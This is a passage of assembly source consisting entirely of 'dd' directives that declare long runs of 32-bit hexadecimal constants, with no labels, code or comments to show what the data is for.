		dd 249000D3h, 74C13858h, 54070FB8h, 50D0AE2Bh, 900DABE0h
		dd 0E497A05Eh, 568B68D6h, 0DFCBDD5h, 9820F51h, 19C714Fh
		dd 412DE98Ah, 0F75FF03Dh, 0C6C8CCA5h, 2F06C812h, 7B00D56Fh
		dd 0CAF2AFBBh, 0FCB741AEh, 631DD6E8h, 1496FA7h,	0BE48C89Dh
		dd 5BDF98D9h, 0C940BB48h, 70463397h, 0FC8E6EC5h, 8EE2592h
		dd 5E0106F4h, 0EF816656h, 0EA5F1FE0h, 7C3604F7h, 8EFC7DD8h
		dd 0C017888Bh, 6A8FF74Ah, 80C276B7h, 0AF2B2354h, 610270E2h
		dd 0CA9C5C27h, 9FEB8128h, 94885FD2h, 0E90425FDh, 6EA3F8C9h
		dd 3B3019B2h, 7B1C043Ch, 0C2F95FB1h, 52DFF658h,	89C900E6h
		dd 0FA65234Eh, 0C1538B75h, 3017A2E5h, 981FD91Ah, 1974EB6Eh
		dd 0B2C572A0h, 0D15B91D5h
		dd 0A8611915h, 1B06F031h, 8DF009BEh, 5A89C185h,	8AE0FA6Dh
		dd 401BC15h, 25B5335Eh,	18500B22h, 0F2D10Dh, 9E04834Ch
		dd 0AE9DD091h, 0F9F15209h, 0BECF4089h, 5B601AD3h, 0D2828410h
		dd 0A60C2681h, 3116C1F2h, 4164D95h, 56C1EF06h, 540312BEh
		dd 0C090DBFDh, 0A255890Eh, 0A4EC2467h, 31490D66h, 345E4065h
		dd 0C078837Ch, 0B785293Ch, 0E1BDF17h, 5E341183h, 8D0AC1C9h
		dd 20A74910h, 0BE69F410h, 6DE7020Ch, 0A6C37B17h, 8278DE10h
		dd 0F70D2398h, 1D068A0Fh, 53BD8092h, 60E78CC0h,	15204EB0h
		dd 0CD8633h, 0EAD2BBE0h, 4F9137F2h, 273480E3h, 0FF619C1Eh
		dd 1CBF0ED3h, 0CD7389A0h, 77B97BDCh, 9ABE0B00h,	0E95E72F5h
		dd 0E638884Fh, 6D2AA0Dh, 27A6FFE7h, 0C5B6087Dh,	8BF810E1h
		dd 2B25269Dh, 0E14544DFh, 5E7E398Eh, 7C46FBBh, 47155702h
		dd 0F9B004EBh, 8A5C6CF4h, 6400E242h, 52ADBD83h,	3144729Eh
		dd 0EF124654h, 0C11E04BCh, 0DFE90B24h, 5153B742h, 4E97AF71h
		dd 0E394AE15h, 30013E0Bh, 9413E92Ah, 348142A7h,	328418B3h
		dd 90A42F2h, 6428C7A6h,	5F73601Dh, 7FB1011Bh, 0CEDCA7FAh
		dd 39BA750Fh, 926AD71Dh, 103E4E02h, 0BE405BF6h,	0A64FFBDEh
		dd 86E1E17h, 0C808B313h, 85A61B37h, 4930FE4Ah, 5BE5BD09h
		dd 0D2C82629h, 0FDF9FB72h, 1CE95226h, 4635C76Ah, 401FA89h
		dd 2E8C1828h, 67668A12h, 92E23100h, 4D9F6644h, 0CD5F03D5h
		dd 0B05E7A46h, 0A3F6EB85h, 70E606B0h, 2A71E424h, 25331D08h
		dd 0B4C908h, 0BF8967D6h, 26256AC4h, 0A4D1921Bh,	81001E42h
		dd 945A7FCFh, 0C34C047Ch, 8C16E85Bh, 67DCC01h, 2DED9D09h
		dd 0F8BF8989h, 5BF7F862h, 0EC25599Ch, 0CA7EF063h, 14168A4Eh
		dd 8C042F6Fh, 0A2F18273h, 11640004h, 0B7C0C10Ch, 3424001Ch
		dd 67658EFAh, 0AE0F89E9h, 98832C86h, 832921D2h,	3154B077h
		dd 0D85D2BB4h, 1218BCC6h, 30F4F9D2h, 0E5087EF2h, 30482200h
		dd 5B11ED6Ch, 0F1E0018h, 0DD3A83DAh, 0F4B794B9h, 30A480B9h
		dd 92D50E48h, 0DEF66D02h, 0C0980B8Ah, 44E9525Fh, 0EE12DA05h
		dd 4B00ABE8h, 0B8666031h, 27A8B87Bh, 0BB81585Ah, 2865B503h
		dd 0C16B4EA2h, 0E2001A23h, 63997EC1h, 4C4946B7h, 0CBC0999h
		dd 91B51DB0h, 848B801Bh, 183E9C10h, 0BA3CEF56h,	0A39E0DE5h
		dd 0BD08E4A6h, 13FC1210h, 2B7D918Ch, 0BAF80302h, 78DD5BB6h
		dd 0A290EB8Ch, 7680DCB7h, 97051646h, 87298F0Ch,	8426E8E7h
		dd 245E4C3Eh, 0E0A497FBh, 2184674h, 52B8C114h, 609549EBh
		dd 89C13968h, 312D9BDh,	2111B12Bh, 1610C81h, 26079D85h
		dd 311CA26Ah, 6092D035h, 340BFB71h, 758EC83h, 0D50B14F7h
		dd 490055C6h, 0EFADB250h, 3D6CDh, 4FF1B061h, 819CC92Fh
		dd 0E0FEDF04h, 0FEF47B87h, 0DE418A4Ch, 96D83CF8h, 2E804C9Bh
		dd 0D8BDC5BFh, 0B5604300h, 51E9BA99h, 61112787h, 9002E189h
		dd 0C0790C0Dh, 56870998h, 6C67A85Fh, 0C4893F8Fh, 0BDC79600h
		dd 64C65EB8h, 3719E13h,	0F6BED0C5h, 0B739B195h,	0A988CB3Ch
		dd 48007F48h, 2BE47770h, 7B97595Eh, 0EEFE0192h,	0FD5B3E88h
		dd 0D9FD7AC3h, 6C09E0ACh, 445A9FBDh, 2551E2Bh, 0C7F24025h
		dd 5CD5F819h, 0F127EA72h, 51CDB143h, 76F4BE15h,	9A140049h
		dd 60347A83h, 5804804Dh, 91858964h, 225E11D3h, 0D298063Ah
		dd 5E145922h, 9F7B4Ah, 0A214911Ah, 0FF35B533h, 0E2EF8005h
		dd 0C04D8B1Dh, 0E7C0BDE4h, 566C5A4Bh, 804E9B08h, 704B3B96h
		dd 5CA0F890h, 425FF215h, 0B6617D0Dh, 11E258D8h,	3CB04E83h
		dd 3D9558D9h, 2BC582CFh, 0EE56FDB5h, 0DFFB0BA7h, 1A441367h
		dd 0C4685E61h, 0DEE9EFC2h, 0F01DAF7h, 0AF0B4F2Dh, 7384BCA1h
		dd 4C3C66FAh, 65C0C0D2h, 0A2CCB9h, 0E71D2278h, 0FE4B09DEh
		dd 69C4B100h, 600BB2CEh, 0B9BD1003h, 3A5F2C1Ah,	4EC6C250h
		dd 3D816E90h, 48DE80CAh, 0F51577Ch, 400C9C8Fh, 8D8B605Fh
		dd 0FD0E914Bh, 1E01C409h, 48CA6EE4h, 14E8BD61h,	8B90128Ch
		dd 0DD8004F1h, 0B20CF311h, 88E83019h, 0BDEC4E09h, 96E2181Fh
		dd 17FA004Fh, 0B2AD8715h, 0CE0B3528h, 42D1E06h,	46F1D1A1h
		dd 22F07036h, 0AE90257Fh, 0EF454E24h, 51F4D08h,	90B1B509h
		dd 2D9531CFh, 0C1E819D8h, 7ED6BD03h, 1C4674h, 787E3EF4h
		dd 1233850Eh, 889724Ch,	56170464h, 0D365DB0Ah, 0D0EA5E97h
		dd 28DE240Ah, 8D7F100h,	0FDB109B4h, 0B62C0BEBh,	607FCA30h
		dd 2D5EF8DBh, 2F0980E9h, 0B1408942h, 1B77D8CFh,	6BABC15Eh
		dd 0D830030Ch, 0E8335D27h, 5E4B04Eh, 58D53FBFh,	5010A347h
		dd 5D9E9DFEh, 0DE3124h,	0A87B1583h, 13DD84B6h, 0F18D8908h
		dd 13BA2726h, 2D47056h,	8138DBDh, 92405060h, 8E8A0483h
		dd 0EA192903h, 54CE4A2h, 4E63BA2Bh, 0DBA3FA95h,	0A93017A2h
		dd 27F2247Ah, 33ED1232h, 0D40FF594h, 2BFD5D7Fh,	0D4011E9h
		dd 13ED1E4h, 4FA404B1h,	6833E218h, 0BC7A5901h, 0EF370060h
		dd 7CEEE6D7h, 506821A8h, 4674A5EBh, 8537001Ch, 0E8C1652h
		dd 0AE8B2631h, 0C333860h, 0EFCD0F50h, 3B52A5A6h, 0AC3014E2h
		dd 4F629060h, 20BF08CAh, 5C8D6116h, 89C2303Ch, 2576ADBDh
		dd 0A45B584h, 9B4AFDE9h, 0F9CB8224h, 41016060h,	6AC6820Ch
		dd 0E5CDCC1Fh, 93221E43h, 0CFAD3961h, 0D1D217Ah, 73588927h
		dd 0E79AD09Eh, 0D4EBC500h, 7CBEABF1h, 140FF84Dh, 77719589h
		dd 38E9F205h, 0CE7CA208h, 0A0659089h, 0CB76A3FAh, 0DB634290h
		dd 0E8F07017h, 1A9CD07h, 0E9EB25BDh, 0DE43FB30h, 9ADED419h
		dd 0B75034C0h, 7712DACh, 0C8D38171h, 5E36BDDDh,	0A28E3EB2h
		dd 81002C48h, 18BBF2CEh, 49BE0519h, 0A46093AAh,	3BE1C9C7h
		dd 6C48707Ah, 5B97BD38h, 0A5D9BEFDh, 40812A30h,	0A56BE91Ah
		dd 136DDF17h, 80BAF663h, 7206FA7Ch, 955A3282h, 0CAD207E5h
		dd 6C014381h, 8C16F80Eh, 0D2FEFA12h, 0ABAFFA00h, 9448E9FCh
		dd 1B467C7Bh, 55E82800h, 33E0F1BBh, 0B45AB962h,	247978h
		dd 5D24B3A7h, 8402D022h, 373A1D47h, 846A93C9h, 0B129234Fh
		dd 238DEEE1h, 9777840h,	9016695Bh, 0A97A168Dh, 4D4E006Dh
		dd 8112B68Eh, 0CF6007E6h, 52BAD6D2h, 94582A53h,	0B79BDB4Eh
		dd 7060948Fh, 13E31FB3h, 0B5C90616h, 0B6EF0EC5h, 223110AEh
		dd 0BF96604Ah, 0DD9BB353h, 40BB4D25h, 8CA8019Eh, 69C780Eh
		dd 0DF032BE9h, 500236C6h, 49F6DE0Ah, 3D8551F4h,	9E815A03h
		dd 97A08584h, 0B79FB0B3h, 7981B852h, 82AD57EAh,	0E64C34DBh
		dd 0B0697056h, 0BCEA425h, 4D82F747h, 0C8C67880h, 714FE4EEh
		dd 9AEFA217h, 275FC00Fh, 51CA7BAh, 6DB52BF4h, 0D5B3FB2Ah
		dd 0C139D300h, 679E226Bh, 0CD4D800h, 0ABE2E03Ah, 0ED8E09F2h
		dd 0F102DA8Bh, 5F040719h, 0AA61CBF2h, 2CC64BCEh, 31B509CBh
		dd 2C71D927h, 0D7746008h, 0A40F6055h, 0E4C68A9Bh, 9EF12133h
		dd 0AF830B41h, 2BF3A340h, 0F170C4D8h, 53930616h, 26940F22h
		dd 6F13505Fh, 9D0E00C2h, 6C4AC6CCh, 5A852D6Fh, 0C045C03Ah
		dd 0CD601DC4h, 0C2014894h, 21935E0Fh, 6C61BBFFh, 8582043Ch
		dd 0D40C0C39h, 0CB344E91h, 439A4A96h, 0A81F0184h, 0FD1909ADh
		dd 78D6D3B0h, 233A0F5Dh, 0CA3201F4h, 798D29EEh,	6812BD55h
		dd 33E0EDE6h, 5F9078C9h, 29796C9Bh, 3005DB23h, 0C3DF0DE8h
		dd 42A89D92h, 3927B503h, 38B7660Ah, 6F4A01E7h, 0E4950E6Fh
		dd 0C7C17F51h, 42E0660h, 0C960BC25h, 0BA094031h, 96ED7AFBh
		dd 0A400EE97h, 34821C95h
		dd 0B4620248h, 5F1E76BBh, 2F478A42h, 17611544h,	0E1A720A2h
		dd 6E5F2143h, 0DA1700CFh, 9D5FF3Bh, 0F99D1329h,	6405E218h
		dd 814F8566h, 0FECC8421h, 68C3215Dh, 8DAC6101h,	5A6D2421h
		dd 2F880F05h, 0C0BE9E01h, 319A98B5h, 14D12795h,	192B0CC5h
		dd 266C3C59h, 0DB9824Bh, 0EBB926D9h, 0C0F54D2Bh, 0A54DEF2Dh
		dd 0FF98D09h, 0E91D118Ah, 23C402Ah, 5169B1DDh, 0AA53E000h
		dd 95BFA3D2h, 7D8F05A0h, 0B1ED6E17h, 0C0411A4Eh, 0ABB45283h
		dd 4451B61Ch, 631D868h,	6D4BB5B1h, 0FE98C0BAh, 0B526095Bh
		dd 2B9E5B79h, 203B7EDh,	1A25C20Eh, 0C1155DBh, 0AFBE6601h
		dd 410AE97Eh, 0C9F08B09h, 0FEA7F4C0h, 2A6BE32Dh, 0B90941F6h
		dd 54014A10h, 497582BEh, 29DB71D5h, 68CABB73h, 749874F6h
		dd 224A1946h, 0C0E6059Fh, 2D9EE800h, 0A331B11h,	8164003Fh
		dd 0BC42A540h, 28B64104h, 9A58FD7Ah, 427822B3h,	7BD09FDBh
		dd 64316025h, 0AC890786h, 0B1621Fh, 69DC388Dh, 0F9F9609h
		dd 88515982h, 5F16282Dh, 594B46DDh, 0E3C01688h,	17894CCCh
		dd 9132C59Dh, 2A0C4900h, 1B237A6Bh, 0AF0EF61Dh,	6A64C013h
		dd 18FEBFC5h, 645D28D2h, 0AFB34805h, 0CD11823Fh, 0C0903DF8h
		dd 5FF7E798h, 356BFBDDh, 0F9E5205h, 0E90B0B80h,	61F80313h
		dd 0E81DF74Dh, 6342958Ah, 6878D84Bh, 1303F9A2h,	920FD1BDh
		dd 93EA59ECh, 1BC0C2EDh, 39B753h, 48A7B6DDh, 0D6812E1Fh
		dd 0B18B8916h, 0A0F170B0h, 8CF8487h, 171D8D09h,	8DB5890Eh
		dd 11F00D12h, 0B1F18234h, 72C9DD00h, 1EC63CA5h,	132823Ah
		dd 340AF39h, 71AF30ABh,	4EE6C9D2h, 0A3C49E0h, 0C214022Bh
		dd 5BACE78h, 8D4CFBBEh,	5413CC77h, 6584FE00h, 0C5E47935h
		dd 9589080Ah, 0BE0031B9h, 57E61390h, 0F7CE1CE9h, 815EFFh
		dd 34EA28A8h, 0AB98C18Bh, 0FC700C5Fh, 2448C54h,	0C2A3E728h
		dd 71F704EBh, 1817F141h, 29DEE4B7h, 0B9E80Dh, 0C13FCDCEh
		dd 0FB01F431h, 187461DFh, 0F3F4D811h, 4040B82Bh, 78A85F1Fh
		dd 0BC000F90h, 0F18ADC43h, 0B6F83901h, 1946D62Fh, 35C7DE00h
		dd 0F80B363h, 9BF8B724h, 0F058BF03h, 83A6B550h,	0F51BDE0h
		dd 5F6AD490h, 0E603C599h, 0CC5E9748h, 30BCC9BDh, 6802F2C5h
		dd 0F5E870F9h, 45236E00h, 0A9CA9F6Dh, 0BF9AC0BDh, 831322DBh
		dd 0D16FC04Ah, 0BEF7BB00h, 2C078DEAh, 0E1BD2309h, 0E28ED22Dh
		dd 1AD49052h, 0E310FFEh, 18002066h, 0A3087C4Eh,	168EEDh
		dd 9DADE8D0h, 13F2CEA9h, 6CB32D0h, 585AFFBDh, 0DB904E04h
		dd 0F3A88991h, 5995057Ch, 2115F214h, 7405261Eh,	0EC1A1746h
		dd 7B411A80h, 6A8052A5h, 1DE26FCh, 3C74251Ch, 3A9BBC07h
		dd 86CEBB04h, 6244CBC4h, 8C5669BDh, 7DA0E9B4h, 6B000F15h
		dd 6A58D680h, 0C63771h,	16424733h, 0EEA863FCh, 9BE30E2Dh
		dd 6DC016CDh, 3FC7CD11h, 99017C6Ah, 0C8C7CB2h, 0D9B042F2h
		dd 0B24689ABh, 9C23E92Dh, 680C2083h, 9E5E502Dh,	0BF9D4482h
		dd 63BB090Bh, 0CD040169h, 0D5F98B98h, 0A468A275h, 0C8FDDA4Eh
		dd 2B6C514h, 0A15BF7C2h, 0BC7034DAh, 0DE0FDCBFh, 0A5CE1200h
		dd 6DCA2BC0h, 0BD830B9Eh, 3B6465D2h, 0FA012D44h, 0BA2A4455h
		dd 257A14D2h, 0C6524873h, 0A9D5E2Ch, 123A85C7h,	0B485E701h
		dd 885F04FDh, 6C0195BFh, 8CF8EA20h, 5DF551A8h, 464D1BAFh
		dd 88F2D5C0h, 4DF70598h, 27D876BDh, 696F0B5Fh, 4934E06Fh
		dd 3C1A112Ah, 85169BAFh, 9FF4559h, 8D09A49Dh, 5E2D22EDh
		dd 2282DA9Bh, 7D7E77EDh, 5062DBE9h, 4E04E912h, 0DE6E3643h
		dd 0A7FF6DC5h, 0FE090076h, 3A90A9E7h, 0F57002Ch, 0C43CC39Dh
		dd 6CF3298Ah, 6C6E4B8Fh, 0DB14580Bh, 40458864h,	96F0A630h
		dd 0A597E9D0h, 58801811h, 8410BC4Eh, 0EA852927h, 8006C0AAh
		dd 8B2BC302h, 143850F3h, 5DE9448Ch, 57025D0Dh, 0B05EF98Bh
		dd 4CDEE974h, 0CE0429ECh, 0FD70E6C9h, 4C47B8E3h, 0DF311D54h
		dd 0D871E4F8h, 0FB13F6EEh, 0BDC46888h, 1E58B7E2h, 0C38BFA0Bh
		dd 6026EDDFh, 0D7AAE69Bh, 0A85A3B04h, 0BEC16B7Fh, 0C3040445h
		dd 0F28C017Ah, 55AE40B4h, 33A4D794h, 99C90A13h,	44C9C52Ah
		dd 0A9D82B77h, 272CB8CCh, 0D844507Eh, 0CBCEE000h, 9DE7226Ah
		dd 703FE6Bh, 61605689h,	1CC41E5Fh, 0B92EED24h, 0A8FC5C2Eh
		dd 8A6102DDh, 20E98D89h, 60E3437Eh, 0BC33ED0Fh,	5F0B7089h
		dd 0C8F0DA61h, 0F994C018h, 0AC38D916h, 516E4FB0h, 177AE112h
		dd 0E072A63Ch, 77275666h, 8E5F13FBh, 5D690430h,	4A431431h
		dd 53076A6Eh, 6B1492D2h, 9A988722h, 51204CDAh, 5B6AAA02h
		dd 187770A7h, 0B299BA40h, 704D9578h, 27611544h,	4C202A9Eh
		dd 73DC5Ah, 0D4CFF2D2h,	31936EA5h, 4AB99648h, 0C0759AAAh
		dd 0A50DFE6Fh, 9873484Dh, 64DBD13Bh, 0A8D1ED64h, 66F40037h
		dd 319735BFh, 205B11B5h, 9BD6431h, 0CB515728h, 0A9B8E86Dh
		dd 15CD7C00h, 0A058FC65h, 0FDD35C28h, 7A277D10h, 11ED0EC5h
		dd 5F2286B3h, 24962B4h,	0B26292Ah, 98604C42h, 4CB6155Dh
		dd 50394366h, 8B51EE60h, 0DC5CA10h, 6AEF6127h, 105D1B63h
		dd 5A3445B0h, 20CB1F22h, 8C59D29h, 44572585h, 0B5011939h
		dd 2A5B19DDh, 2AE6BBBh,	96EFB85h, 0F44BC3BBh, 0A043F425h
		dd 0B738FE0Fh, 4994E084h, 305D3CAh, 8DE953F5h, 14F89587h
		dd 0B5E4C32Bh, 850A29B7h, 30B6FB0Ch, 0E6535E34h, 5DABE12Fh
		dd 0C8FA122Eh, 13001EB5h, 84F43CD3h, 0FC76276Bh, 9B67D666h
		dd 49C1813Ch, 0CE43B55Dh, 43898D19h, 5B7CD339h,	80089BC0h
		dd 33935010h, 1EFD1962h, 52E56256h, 3CFE5FF0h, 0EE33BF40h
		dd 87B02FA7h, 0B4FE2662h, 5C85C742h, 0F5BD8337h, 949E74A7h
		dd 176D4EC5h, 85A138EDh, 0C0A13D1Dh, 2F957C91h,	42E82D7Fh
		dd 0D8542E9Ah, 0AAEEEC40h, 7B2B2CAFh, 0EE54C948h, 350F07DCh
		dd 0D9CD059Bh, 0DFDD12C0h, 1D7160B3h, 8E00BE18h, 0E59BD561h
		dd 0F9267693h, 0AAD92160h, 6E52FD8Ah, 486B7700h, 1FA41463h
		dd 0D56600AAh, 0BF4E6DBAh, 0B2E20DD6h, 905EFC12h, 7080049Bh
		dd 0B8A5B69Bh, 0E8FC38B0h, 1D01F926h, 0EEE1B913h, 0AFF01566h
		dd 62E85F3h, 6A2D11DBh,	14BB4061h, 0DCCA94AAh, 0EAB1EC01h
		dd 0D88C085Fh, 593F7421h, 6F590CAEh, 246EF717h,	0B79FD09h
		dd 925D084h, 0A2BF5953h, 41134188h, 0C3D1B570h,	94330E3Eh
		dd 104326DDh, 0AB4A3469h, 7A093088h, 8931C18Dh,	2A111DB5h
		dd 3F536FEAh, 1E80DF84h, 1636D781h, 9B48302Ch, 0D52180D3h
		dd 58ACDDBh, 0E9FA8BD8h, 16AB1E7h, 88FE88D5h, 121FD9FAh
		dd 8C7EC860h, 4CEBDD00h, 8BCA62Ah, 1F540063h, 5601845Ah
		dd 0BF96B9D8h, 0DF9B4E39h, 0AC163281h, 6C9BD802h, 2313AE03h
		dd 0E42D8D31h, 79CB210Eh, 866EDB52h, 0B918193Dh, 9B39162Ah
		dd 8B1F8032h, 0A9057585h, 0AD329DD8h, 0A775D67Ch, 0DD23A0ADh
		dd 0F9E10668h, 6A526A19h, 3E07F120h, 1A6835Eh, 4806117Eh
		dd 0BBDD260Ah, 766D8B95h, 2217F854h, 929E3AE1h,	0C07E7287h
		dd 0DBD4E542h, 4D60612Dh, 99C2CF28h, 4C43B8E1h,	0CABF02B8h
		dd 0D5043F48h, 71E7BCCCh, 9ABE0966h, 18D68BC7h,	0A112F448h
		dd 0F3D5ADC8h, 0AE90C41h, 0B857A6Bh, 0F76859FCh, 0E49882E4h
		dd 0A6C0C151h, 0C0EE3872h, 1183871Bh, 4FC9A691h, 0F67B28h
		dd 0B810E098h, 9867E280h, 349D34A0h, 9B6F56EBh,	0B98A807Ch
		dd 6FDE05Bh, 958B9284h,	5F895121h, 0D330A53Fh, 0E5EE7888h
		dd 0FDAD4809h, 6F790Fh
		dd 433DD254h, 5607AAAFh, 2BA125B3h, 0DB81A930h,	19EEEC7h
		dd 65BB5802h, 217C75AFh, 0F06A3645h, 7BD81A10h,	950D9011h
		dd 494D1F6Ah, 67606C68h, 13E563A7h, 257B4EBh, 5ED7A590h
		dd 3C8B0F4Ah, 810D8A44h, 160447EFh, 1431582Bh, 362FBC69h
		dd 0FEA0F52Dh, 580F6CEAh, 0CD013D00h, 0B9FCD4C8h, 6520555h
		dd 106FF7AAh, 6E5A2DFAh, 0B32A0A4Ah, 2466F052h,	7737B51Fh
		dd 37E48305h, 0DEFF9801h, 0A2B40F51h, 0CA8C9EE6h, 0C702AA3Eh
		dd 0A4B97BE4h, 0F9AA1255h, 954FDFD7h, 2913B045h, 1709959Dh
		dd 0E033F618h, 48BF2252h, 4D2115Ah, 25290D35h, 0B2FD63D5h
		dd 0B3253BB8h, 0A4C4F8h, 56D950F6h, 0C7606EE0h,	75581712h
		dd 0F285F50Bh, 7888F3F0h, 0B01D202Dh, 4482B368h, 0D6705F7Bh
		dd 8BC201ACh, 0EF1AD1A1h, 4DDAD9F0h, 0EAFC7FB7h, 196E4Ah
		dd 3D4CB49Dh, 3C9AC76Dh, 21908B60h, 0D1A84027h,	0D0612B40h
		dd 6F5A6DCAh, 43F14A1Dh, 1F345E12h, 53841591h, 0F856CC19h
		dd 0B2E0EA09h, 2BF451Dh, 5A4A6FB8h, 76B74F62h, 12173180h
		dd 5D73278h, 0BD035053h, 5A21B0F9h, 0BA85C725h,	0E0584D87h
		dd 0F3D4DDB7h, 293B1878h, 6157E48Dh, 94C5ABDBh,	0FC15809Dh
		dd 73CEBF5h, 23E93461h,	4B0D6FAAh, 234613B7h, 0D49949B0h
		dd 0B3DA1F04h, 0C8C01369h, 8F4FEBh, 0ABFA251Ch,	0DAC6A108h
		dd 0EA4AC3Dh, 2E5CD2D4h, 34CE00E4h, 0EA1BF531h,	29B31E27h
		dd 0DD5B40D1h, 17E62AC7h, 0E8DFF9F9h, 0A670DB67h, 87C001A7h
		dd 0E52DDB4h, 9ED92023h, 9E90B11h, 0EE7E5212h, 0AA404A4Ch
		dd 9538259Ch, 20589675h, 0CCA11E1h, 0B89CEDE9h,	0BC33F72Fh
		dd 835DB7E8h, 0B2276703h, 0C8E72C2Ah, 0BB8A8BDh, 243FAE3h
		dd 2128318Fh, 4C25906h,	60C02764h, 0E290F410h, 0F7A73B03h
		dd 88585162h, 0F410B966h, 79D6BF61h, 0D00C13F9h, 586BC08Ah
		dd 73D6BFF1h, 211411D1h, 19F0A51Ah, 0BE87FE38h,	0BA6A6027h
		dd 0A00728Ch, 5DDCACF8h, 10D93EAh, 0D217F168h, 815AF552h
		dd 0C5858D8Ch, 0F428FD75h, 4A34CD10h, 4702C7B7h, 0FC93AB49h
		dd 9AD18B23h, 24041061h, 95E28103h, 2253C6D5h, 0EE808258h
		dd 0F24B57C1h, 4E8E80C0h, 634C9F50h, 0ACAFB909h, 0C126ED90h
		dd 202F90A4h, 0E800981Eh, 0FFEF3AA5h, 9D292595h, 7D05BCBDh
		dd 0A1FF9270h, 802382FFh, 0FEE886C6h, 0F9918049h, 0BEF2FBE9h
		dd 0B30BA301h, 0EF6CCAC8h, 26BA66E4h, 0A2B4C2Ah, 0B387AD85h
		dd 8C9ACF50h, 9001AE92h, 927399D7h, 0DB9B0867h,	157FD282h
		dd 0BFB8457h, 25FE0416h, 0C1841904h, 887B8E15h,	10F4C01Ah
		dd 0F3389FECh, 4E65C75h, 0A1BD48Ch, 18A95A81h, 9622DA23h
		dd 1207498h, 9A5F952Fh,	114217ACh, 0BA98801Dh, 336552h
		dd 910B89ACh, 0DDB5293Bh, 6800509Ch, 0FFD2406Fh, 3081480Fh
		dd 6EC0BAC3h, 0BD2434C8h, 2B48E700h, 0FF0ECD80h, 19D14EB5h
		dd 208C1230h, 0C53C105Eh, 0DA23BBFCh, 4FFF8BA4h, 1326ED0h
		dd 4DEEF97Ch, 88D6132Eh, 24997C5h, 8293D3Ch, 150908A3h
		dd 6AE11765h, 6A5B9D0Bh, 0F24200C7h, 7B31DEDFh,	5DD216B4h
		dd 7622A330h, 5D8C884Eh, 6800FB61h, 7E09E617h, 108D0F82h
		dd 9046BA5Ah, 0AA2A5494h, 715318F5h, 27F9D008h,	37AD3282h
		dd 58B3809Ch, 0BB279621h, 4ECCF856h, 73041135h,	660E33CDh
		dd 2ED5D3EAh, 0CF00DCEDh, 3D054BEEh, 4AAA202Ch,	3F301h
		dd 553F41C4h, 0F05006B8h, 64FB4CDEh, 0C25CB4A7h, 0E68B8558h
		dd 0CF1E55BDh, 0B18A9C00h, 0ADD22B8h, 8870F91h,	2A84FD7h
		dd 8228C4A4h, 0A021F520h, 86275124h, 532B7769h,	92091D49h
		dd 0B849804Dh, 0C370DBF8h, 80376149h, 8BD18156h, 2C631407h
		dd 390275E8h, 50D41F6Dh, 44403AD6h, 2268F03h, 0A2EAE259h
		dd 9C64CF36h, 1C3CFC90h, 0B61470F6h, 790C89D7h,	8B58C826h
		dd 7431FA0Bh, 421F29A5h, 0FFB0FDB2h, 1D51C980h,	2A5A31F3h
		dd 0BA10D394h, 0F78A147Ch, 96C8164h, 2BA23DBDh,	70833F64h
		dd 84A0DBB1h, 118C3BB4h, 5A1000D2h, 0B6282D7Fh,	1B052304h
		dd 0DA9009F5h, 0B1606C02h, 90407C3Fh, 8BB27AC8h, 0F9FFE6E7h
		dd 2AEDBE4Eh, 5120A424h, 0A4614438h, 75639789h,	2CF6ADAAh
		dd 8926BF40h, 0D881D3Dh, 0C9927Fh, 0DC65352Dh, 0D1141384h
		dd 9A2E6214h, 0BD70607Eh, 4D10979Dh, 2AED2719h,	5EC01ADBh
		dd 2D72C18Eh, 8D267D71h, 0A5091453h, 0B4735729h, 0CB1B72Fh
		dd 19B27E09h, 96B8124Dh, 0F284609Ah, 0CA298253h, 65B1C549h
		dd 11EE0C7Ch, 52E8AF00h, 0B53D64BBh, 50460493h,	8069E509h
		dd 0FD75CDA0h, 13C2784h, 81390B3Dh, 0B0E4AEB7h,	6329CC3Ah
		dd 0EFADBD86h, 0D12C2976h, 49519519h, 0EFB83F7Dh, 4D98CE09h
		dd 0B94D0A28h, 0A0A18509h, 87676849h, 0B1DB13B8h, 8EE14111h
		dd 4E57ADAEh, 0C01B88B9h, 0F5555A46h, 80392374h, 0D3E5122Fh
		dd 6A6E3A29h, 0DCF500D7h, 8B09B234h, 14852C95h,	28B1429Bh
		dd 0A8203C45h, 1F311D24h, 5060D3CBh, 0B13FBB15h, 90E7819Fh
		dd 0FC47BEE8h, 33805868h, 6F6D1505h, 0F976DC00h, 3DFD3B10h
		dd 0AFB80A94h, 29B62489h, 40CD2D21h, 15D122C0h,	13537811h
		dd 1D046ADDh, 604D7A75h, 478A2FDCh, 105116FEh, 5F2D0CE2h
		dd 802864Bh, 33E0CFB9h,	0BE72D47Dh, 5D5409FAh, 6793704Ah
		dd 2D8E2F2Ch, 0C62A3ECDh, 0A6E93665h, 93DB216h,	9AE0D2BBh
		dd 95665Dh, 0E3D5397Fh,	74965C41h, 9F875700h, 3E8ABA53h
		dd 594038C2h, 7B2589Fh,	13C9D868h, 74CBBF38h, 494B2BB2h
		dd 3C8183Eh, 0C11E78BAh, 0FB88284Eh, 2B4F4A9h, 0FF17CAE6h
		dd 0FAA28D95h, 21604DB5h, 9B10AC9h, 0CC4D53Bh, 0D15EB2E0h
		dd 13C15A30h, 0F7D3009Ch, 2F22A29Eh, 0B56885C7h, 0ED49A839h
		dd 7C54C07Ch, 64B58BCEh, 4EB1712Bh, 2BA36Ah, 0D01A9835h
		dd 9A5FECh, 84BB3DCh, 24AFDDA8h, 32513CC4h, 39616800h
		dd 0B900A7CEh, 6E19B73Ch, 16240481h, 0A32C69Fh,	262C8C2Ah
		dd 939660CDh, 0B1020139h, 34269065h, 2E00400Ch,	73F02521h
		dd 8D2BE081h, 2D8721Dh,	0B195090Bh, 0B9ACE82Ah,	0B77A48FDh
		dd 0AF8D8A28h, 6CFF40E9h, 0DF90C5D2h, 3A9053F0h, 5CF1B904h
		dd 378223ABh, 0E7D590E8h, 1BE300A7h, 39DBA1B5h,	7500D079h
		dd 4D47346Fh, 9059238Dh, 0C35F624Bh, 842CA8Bh, 0BA66AFE8h
		dd 8F1EF32h, 0B5A583E7h, 52BE4D94h, 864EAAE8h, 9F8F4CC1h
		dd 286DC23Eh, 0DED6420Bh, 2E34E066h, 8A000AD4h,	4E432BFh
		dd 12091629h, 895073h, 26F18173h, 7241F7Bh, 2A60A290h
		dd 3D014CF8h, 7E852B4Eh, 0BAAC69E2h, 39251270h,	90502659h
		dd 8F00DEDCh, 0FEE006C8h, 0A2FB8E78h, 805CE89Fh, 0BC719E2h
		dd 692D76C0h, 8C6BED73h, 0E338E599h, 0ED0E5AE9h, 8EC93DBFh
		dd 0B7D98947h, 589C80B1h, 797BA4C0h, 0B58B7212h, 0A6DFB27h
		dd 468D6250h, 0D1E49120h, 142181Bh, 66E4C4A6h, 31C7203Fh
